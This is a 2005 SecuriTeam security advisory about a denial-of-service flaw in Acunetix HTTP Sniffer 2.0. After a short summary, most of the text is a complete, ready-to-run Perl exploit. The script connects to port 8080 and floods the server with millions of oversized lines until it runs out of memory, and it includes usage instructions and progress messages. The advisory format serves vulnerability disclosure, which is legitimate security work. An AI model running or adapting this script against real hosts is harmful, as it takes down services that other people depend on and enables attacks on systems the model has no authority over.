[NT] Acunetix HTTP Sniffer DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 08/07/05

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Date: 7 Aug 2005 17:13:43 +0200

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      Acunetix HTTP Sniffer DoS
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.acunetix.com/> Acunetix Web Vulnerability Scanner (WVS)
    tests the security of your website by crawling it and launching popular
    attacks such as cross site scripting, sql injection and more. "

    Acunetix HTTP Sniffer does not properly validate input as a result it is
    vulnerable to a denial of service vulnerability whenever a large amount of
    characters are captured by it.

    DETAILS

    Vulnerable Systems:
     * Acunetix version 2.0

    Exploit:
    #!/usr/bin/perl
    #
    # Acunetix HTTP Sniffer DOS Exploit
    # ------------------------------------
    # Infam0us Gr0up - Securiti Research
    #
    #
    # Tested on Windows2000 SP4 (Win NT)
    # Info: infamous.2hell.com
    # Vendor URL: www.acunetix.com

    $ARGC=@ARGV;
    if ($ARGC !=2) {
        print "\n";
        print " Acunetix HTTP Sniffer DOS Exploit\n";
        print "-------------------------------------\n\n";
        print "Usage: $0 [remote IP] \n";
        print "Exam: $0 127.0.0.1\n";
        exit;
    }

    use IO::Socket::INET;

    $host=$ARGV[0];
    $port= "8080";

    print "\n";
    print "[+] Connect to $host..\n";
    $sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
    => 'tcp') || die "[-] Connection error$@\n";
    print "[+] Connected\n";
    sleep(1);

    print "[+] Build buffer..\n";
    sleep(1);
    $hostname="Host: $host";
    $bufy='A'x50;
    $bufa='A'x8183;
    $len=length($bufy);
    $buff="GET / HTTP/1.1\r\n";
    sleep(1);

    print "[+] Sending request..\n";
    send($sock,$buff,0) || die "[-] send error:$@\n";
    print "[+] Send DOS..";
    for($i= 0; $i < 2000000; $i++)
    {
      $buff=" $bufa\r\n";
      send($sock,$buff,0) || die "send error:$@\n[*] Check if server
    D0s'ed\n";
    }

    $buff="$hostname\r\n";
    $buff.="Content-Length: $len\r\n";
    $buff.="\r\n";
    $buff.=$bufy."\r\n\r\n";

    print "[+] Now kill the process..\n";
    send($sock,$buff,0) || die "[-] send error:$@\n";
    print "[+] DONE..Server Out of Memory\n";
    close($sock);

    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:basher13@linuxmail.org> Eric
    Basher.
    The original article can be found at:
    <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82

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